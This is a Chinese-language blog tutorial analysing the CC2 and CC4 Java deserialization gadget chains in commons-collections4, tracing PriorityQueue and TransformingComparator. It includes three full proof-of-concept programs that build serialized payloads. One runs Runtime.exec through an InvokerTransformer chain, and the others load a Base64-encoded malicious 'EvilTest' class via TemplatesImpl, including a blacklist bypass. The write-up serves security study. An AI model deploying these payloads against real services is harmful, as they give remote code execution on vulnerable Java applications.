Java反序列化-CC2分析
我正在参加「掘金·启航计划」
在CC2 中,使用的将不是前面的 commons-collections 依赖了,而是 commons-collections4 这个依赖,并且也采取了一下新的利用类PriorityQueue 和 TransformingComparator。通过 PriorityQueue 做为入口点,TransformingComparator 作为跳板去触发利用链。
[TOC]
如何将PriorityQueue、TransformingComparator 作为入口点和跳板去利用
首先看一下作为跳板的 TransformingComparator 类是怎么调用到利用链的
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
在 TransformingComparator#compare 方法中,调用到了transform 方法去修饰 obj1、obj2 的值。就是这个方法调用到了利用链
接着在看一下 PriorityQueue 类是怎么作为入口点去利用的
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
在PriorityQueue#readObject 方法中,将反序列化的数据存放在queue 字段中,之后调用 heapify 方法来对数据进行调整,形成二叉堆
在对数据进行调整的时候会对数据进行比较,将较小的数排列在前面。而在对数据进行比较的时候就会调用到compare 方法,从而让PriorityQueue 类和TransformingComparator产生联系。看一下这个操作是怎么在代码中实现的
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
在 heapify 方法中,采用将数向后移动的方式来对数据进行调整。
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
在后移之前会判断,判断是否有比较器 (compar),如果有的话则调用if 中的方法,否则调用 else 中的方法。这里直接看i分钟的方法,因为只有当有比较器的时候才会调用比较器中的方法来比较两个数
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
可以看见,if 中的方法,调用了比较器中的比较方法去对两个数进行比较。就是这一步操作,让作为入口点的 PriorityQueue 类可以于作为跳板的TransformingComparator 类结合起来使用。
利用PriorityQueue 和TransformingComparator 构造poc
这里先给出利用链
PriorityQueue.readObject()
TransformingComparator.compare()
ChainedTransformer.transform()
InvokerTransformer.transform()
开始构造poc
public static void main(String[] args) throws Exception{
//构造恶意数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//构造无害数组
Transformer[] test = new Transformer[]{};
//在执行add方法 调用compare 方法进行比较的时候使用无害的数组
ChainedTransformer chain = new ChainedTransformer(test);
PriorityQueue queue = new PriorityQueue(new TransformingComparator(chain));
queue.add(1);
queue.add(1);
//在调用完add 方法后通过反射修改 chain的数组,将无害数组替换成恶意数组,之后反序列化的初始化二叉堆的时候调用恶意数组执行代码
Field field = chain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain,transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2"));
oos.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2"));
ois.readObject();
}
这里还可以使用CC3中的 TemplatesImpl 类来构造poc
这里就不讲解了,直接给出poc
public static void main(String[] args) throws Exception{
//创建恶意字节码
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
setFieldValue(obj,"_name","sakut2");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
//先使用无危害payload 以免提前触发漏洞 参考URLDNS
Transformer transformer = new InvokerTransformer("toString",null,null);
PriorityQueue queue = new PriorityQueue(new TransformingComparator(transformer));
//将恶意字节码添加到queue 中,反序列化调整二叉堆时作为比较的参数使用
queue.add(obj);
queue.add(obj);
//在add 方法执行完之后修改payload 之后反序列化的时候就会触发漏洞代码了
setFieldValue(transformer,"iMethodName","newTransformer");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2"));
oos.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2"));
ois.readObject();
}
public static void setFieldValue(Object obj,String fieldName,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
commons-collections4 在CC2中的作用
在上面的poc 中可能大家觉得commons-collections4和commons-collections 没什么区别啊,新用到的这两个类在commons-collections 中也有啊,为什么不能直接用 commons-collections 来构造poc。
在这里,只看poc 可能看不出什么区别,但要使用commons-collections 运行这个poc 就会发现报错了。这里把commons-collections4中导入的类全部注入替换成commons-collections 中的类 ,然后运行一下看看会是什么结果。
发现在将类序列化的时候抛出了异常,这里爆出TransformingComparator 不具有Serializable 接口。
在commons-collections 中,TransformingComparator 类并不具有 Serializable 接口,所以在进行序列化操作的时候会报错。在commons-collections4 中,对TransformingComparator 类添加了 Serializable 接口 使其具有序列化的功能。
CC4
在CC3 中有讲过黑名单这个概念,CC4 就是绕黑名单的CC2,其原理是一样的。这里直接给出poc
public static void setFieldValue(Object obj,String fieldName,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception{
//创建恶意字节码
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
setFieldValue(obj,"_name","sakut2");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
//创建无危害数组
Transformer[] transformer = new Transformer[]{};
//构造恶意数组
Transformer[] exp = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
};
//将数组带入类中
ChainedTransformer chain = new ChainedTransformer(transformer);
PriorityQueue queue = new PriorityQueue(new TransformingComparator(chain));
queue.add(1);
queue.add(1);
setFieldValue(chain,"iTransformers",exp);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Temp_CC4"));
oos.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("Temp_CC4"));
ois.readObject();
}
今天的文章Java反序列化-CC2分析分享到此就结束了,感谢您的阅读。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/19860.html